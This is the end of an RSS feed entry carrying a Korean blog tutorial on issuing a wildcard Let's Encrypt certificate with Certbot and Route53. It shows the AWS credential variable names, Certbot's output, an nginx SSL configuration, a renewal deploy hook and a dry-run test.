&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;code&gt;AWS_ACCESS_KEY_ID&lt;/code&gt;&lt;a href=&quot;https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#best-practices-for-configuring-credentials&quot;&gt;^API 참고&lt;/a&gt;&lt;br&gt;The access key for your AWS account.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;&lt;a href=&quot;https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#best-practices-for-configuring-credentials&quot;&gt;^API 참고&lt;/a&gt;&lt;br&gt;The secret key for your AWS account.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;결과&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/parkjb.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/parkjb.com/privkey.pem
This certificate expires on 2025-02-21.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let&amp;#39;s Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;굳.&lt;/p&gt;
&lt;h1&gt;마무리 설정 및 테스트&lt;/h1&gt;
&lt;h2&gt;웹 서버 설정&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 443 ssl;
    server_name parkjb.com *.parkjb.com;

    ssl_certificate /etc/letsencrypt/live/parkjb.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/parkjb.com/privkey.pem;

    # 나머지 설정...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;이런식으로 ssl_certificate 경로 잡아주면 된다.&lt;br&gt;본인의 경우 이미 설정해둔 적이 있어서 Pass&lt;br&gt;설정 바꾸면 reload 진행할것&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl reload nginx&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;자동 갱신을 위한 웹 서버 재시작 설정&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo certbot renew --deploy-hook &amp;quot;systemctl reload nginx&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;/etc/letsencrypt/renewal/parkjb.com.conf&lt;/code&gt; 파일에서 &lt;code&gt;[renewalparams]&lt;/code&gt; nginx reloading 할 수 있도록 deploy-hook을 아래와 같이 추가해주자&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deploy_hook = systemctl reload nginx&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;테스트&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo certbot renew --dry-run&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;--dry-run&lt;/code&gt;은 실제 적용하지 않고 되는지 시뮬레이션하는 옵션&lt;/p&gt;
&lt;p&gt;#Security #nginx #route53&lt;/p&gt;</description>
      <category>네트워크</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/2</guid>
      <comments>https://parkjbdev.tistory.com/2#entry2comment</comments>
      <pubDate>Sat, 3 May 2025 20:00:39 +0900</pubDate>
    </item>
  </channel>
</rss>